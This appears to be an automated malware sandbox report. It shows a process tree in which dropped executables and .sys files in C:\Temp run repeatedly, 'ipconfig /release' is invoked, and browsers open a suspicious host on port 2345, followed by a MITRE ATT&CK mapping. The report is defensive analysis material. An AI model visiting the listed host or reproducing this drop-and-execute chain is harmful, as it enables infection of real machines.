- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\igdyvqlidb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5436
  - - C:\Temp\igdyvqlidb.exe
      C:\Temp\igdyvqlidb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3740
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:628
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:7048
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_igdyvqlidb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4820
  - - C:\Temp\i_igdyvqlidb.exe
      C:\Temp\i_igdyvqlidb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5696
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qkicayskid.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3012
  - - C:\Temp\qkicayskid.exe
      C:\Temp\qkicayskid.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1064
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5148
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6956
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qkicayskid.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5612
  - - C:\Temp\i_qkicayskid.exe
      C:\Temp\i_qkicayskid.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4288
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\icaysqkica.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:7108
  - - C:\Temp\icaysqkica.exe
      C:\Temp\icaysqkica.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5944
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4612
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4572
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_icaysqkica.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4424
  - - C:\Temp\i_icaysqkica.exe
      C:\Temp\i_icaysqkica.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5124
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\usmkfcxupn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3952
  - - C:\Temp\usmkfcxupn.exe
      C:\Temp\usmkfcxupn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3408
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6424
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6276
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_usmkfcxupn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:6588
  - - C:\Temp\i_usmkfcxupn.exe
      C:\Temp\i_usmkfcxupn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4300
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\khczusmkec.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3096
  - - C:\Temp\khczusmkec.exe
      C:\Temp\khczusmkec.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6752
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2136
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1892
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_khczusmkec.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3040
  - - C:\Temp\i_khczusmkec.exe
      C:\Temp\i_khczusmkec.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:256
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zwrojhbztr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5064
  - - C:\Temp\zwrojhbztr.exe
      C:\Temp\zwrojhbztr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2088
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2440
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3668
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zwrojhbztr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1852
  - - C:\Temp\i_zwrojhbztr.exe
      C:\Temp\i_zwrojhbztr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wromgeywro.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4836
  - - C:\Temp\wromgeywro.exe
      C:\Temp\wromgeywro.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3020
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:7000
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3044
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wromgeywro.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1804
  - - C:\Temp\i_wromgeywro.exe
      C:\Temp\i_wromgeywro.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6812
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jdbwtomgey.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2576
  - - C:\Temp\jdbwtomgey.exe
      C:\Temp\jdbwtomgey.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3524
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6692
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4876
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jdbwtomgey.exe ups_ins
    3⤵
    PID:3992
  - - C:\Temp\i_jdbwtomgey.exe
      C:\Temp\i_jdbwtomgey.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5716
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tqljdbvtol.exe ups_run
    3⤵
    PID:6092
  - - C:\Temp\tqljdbvtol.exe
      C:\Temp\tqljdbvtol.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4560
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1276
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5732
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tqljdbvtol.exe ups_ins
    3⤵
    PID:6296
  - - C:\Temp\i_tqljdbvtol.exe
      C:\Temp\i_tqljdbvtol.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dxvqnigays.exe ups_run
    3⤵
    PID:6076
  - - C:\Temp\dxvqnigays.exe
      C:\Temp\dxvqnigays.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6568
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5936
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3380
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dxvqnigays.exe ups_ins
    3⤵
    PID:7136
  - - C:\Temp\i_dxvqnigays.exe
      C:\Temp\i_dxvqnigays.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4840
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\caysqkicav.exe ups_run
    3⤵
    PID:3084
  - - C:\Temp\caysqkicav.exe
      C:\Temp\caysqkicav.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6380
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6072
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2740
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_caysqkicav.exe ups_ins
    3⤵
    PID:3464
  - - C:\Temp\i_caysqkicav.exe
      C:\Temp\i_caysqkicav.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6276
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\smkfcxvpnh.exe ups_run
    3⤵
    PID:5776
  - - C:\Temp\smkfcxvpnh.exe
      C:\Temp\smkfcxvpnh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3300
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3384
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6128
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_smkfcxvpnh.exe ups_ins
    3⤵
    PID:2388
  - - C:\Temp\i_smkfcxvpnh.exe
      C:\Temp\i_smkfcxvpnh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1892
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hecxupnhfz.exe ups_run
    3⤵
    PID:6860
  - - C:\Temp\hecxupnhfz.exe
      C:\Temp\hecxupnhfz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6404
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3236
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2480
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hecxupnhfz.exe ups_ins
    3⤵
    PID:6148
  - - C:\Temp\i_hecxupnhfz.exe
      C:\Temp\i_hecxupnhfz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpjhbzurpj.exe ups_run
    3⤵
    PID:1696
  - - C:\Temp\rpjhbzurpj.exe
      C:\Temp\rpjhbzurpj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3892
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3340
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2620
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpjhbzurpj.exe ups_ins
    3⤵
    PID:5068
  - - C:\Temp\i_rpjhbzurpj.exe
      C:\Temp\i_rpjhbzurpj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2552
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pjhbztrmje.exe ups_run
    3⤵
    PID:3228
  - - C:\Temp\pjhbztrmje.exe
      C:\Temp\pjhbztrmje.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5844
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2452
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1544
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pjhbztrmje.exe ups_ins
    3⤵
    PID:1464
  - - C:\Temp\i_pjhbztrmje.exe
      C:\Temp\i_pjhbztrmje.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2052
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\oljebwtomg.exe ups_run
    3⤵
    PID:6368
  - - C:\Temp\oljebwtomg.exe
      C:\Temp\oljebwtomg.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4756
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2764
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2292
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_oljebwtomg.exe ups_ins
    3⤵
    PID:5620
  - - C:\Temp\i_oljebwtomg.exe
      C:\Temp\i_oljebwtomg.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6048
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffd3bc9c188,0x7ffd3bc9c194,0x7ffd3bc9c1a0
      4⤵
      PID:1356
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1684,i,1323992194165938443,7246779056941189497,262144 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:2
      4⤵
      PID:3852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1896,i,15730589314422723374,14897899146458700997,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:11
      4⤵
      System Time Discovery
      PID:4552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2440,i,15820635144954317112,7326624778390353038,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=2804 /prefetch:13
      4⤵
      PID:4176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3540,i,1591926226849684601,4756557696229976323,2097152 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
      4⤵
      PID:5784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3548,i,11734382913338057642,18119224764245820355,2097152 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
      4⤵
      PID:1264
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5064,i,17695010357430091778,5846647157639367802,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=5076 /prefetch:14
      4⤵
      PID:6900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5036,i,6566755543973578397,4554293694307230431,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:14
      4⤵
      PID:4888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5784,i,7904876622576280996,18431285947641605608,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:14
      4⤵
      PID:3952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5784,i,7904876622576280996,18431285947641605608,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:14
      4⤵
      PID:5668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5796,i,10252071908977595743,3755785415409580897,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=6244 /prefetch:14
      4⤵
      PID:5844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5800,i,16904596754540992612,16126446445369638359,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:14
      4⤵
      PID:7044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5784,i,5478543091953723429,8293796167036978930,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:14
      4⤵
      PID:3572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5388,i,9792146067774439873,14735377364904493143,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:14
      4⤵
      PID:2128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,836819965715015536,10014971942097660838,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:14
      4⤵
      PID:2600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6420,i,11816993195908921813,1487033825290381278,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:14
      4⤵
      PID:7084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5796,i,1267792404465123499,17212578094600329620,262144 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:10
      4⤵
      PID:4624
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=944,i,16076806966422030708,3094582183166336837,524288 --field-trial-handle=2252,i,13545579087159257216,13840843087839515760,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:14
      4⤵
      PID:4768

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5620

C:\Temp\ezwrpjhbzurmjecw.sys
C:\Temp\ezwrpjhbzurmjecw.sys
1⤵
- Executes dropped EXE
PID:3908

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5764

C:\Temp\hezwrojhbz.sys
C:\Temp\hezwrojhbz.sys
1⤵
- Executes dropped EXE
PID:5176

C:\Temp\ljdbwtolge.sys
C:\Temp\ljdbwtolge.sys
1⤵
- Executes dropped EXE
PID:3208

C:\Temp\dqoigaysql.sys
C:\Temp\dqoigaysql.sys
1⤵
- Executes dropped EXE
PID:2996

C:\Temp\ifdyvqoiga.sys
C:\Temp\ifdyvqoiga.sys
1⤵
- Executes dropped EXE
PID:2408

C:\Temp\snkfdxvpnh.sys
C:\Temp\snkfdxvpnh.sys
1⤵
- Executes dropped EXE
PID:6048

C:\Temp\fdxvpnhfax.sys
C:\Temp\fdxvpnhfax.sys
1⤵
- Executes dropped EXE
PID:2560

C:\Temp\usmkecwupj.sys
C:\Temp\usmkecwupj.sys
1⤵
- Executes dropped EXE
PID:4264

C:\Temp\rpjhczurmk.sys
C:\Temp\rpjhczurmk.sys
1⤵
- Executes dropped EXE
PID:2848

C:\Temp\hbztrmjecw.sys
C:\Temp\hbztrmjecw.sys
1⤵
- Executes dropped EXE
PID:2024

C:\Temp\qoigbytrlj.sys
C:\Temp\qoigbytrlj.sys
1⤵
- Executes dropped EXE
PID:4564

C:\Temp\gdywqlgdyw.sys
C:\Temp\gdywqlgdyw.sys
1⤵
PID:5772

C:\Temp\vqoigaysql.sys
C:\Temp\vqoigaysql.sys
1⤵
PID:4224

C:\Temp\nifaysqnig.sys
C:\Temp\nifaysqnig.sys
1⤵
PID:5236

C:\Temp\davsnkfaxs.sys
C:\Temp\davsnkfaxs.sys
1⤵
PID:4264

C:\Temp\rpnhcausmk.sys
C:\Temp\rpnhcausmk.sys
1⤵
PID:2584

C:\Temp\mkecwupmhe.sys
C:\Temp\mkecwupmhe.sys
1⤵
PID:2072

C:\Temp\ztrmjecwuo.sys
C:\Temp\ztrmjecwuo.sys
1⤵
PID:3712

C:\Temp\ywrojhbztr.sys
C:\Temp\ywrojhbztr.sys
1⤵
PID:2660

C:\Temp\oigbytqljd.sys
C:\Temp\oigbytqljd.sys
1⤵
PID:5940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

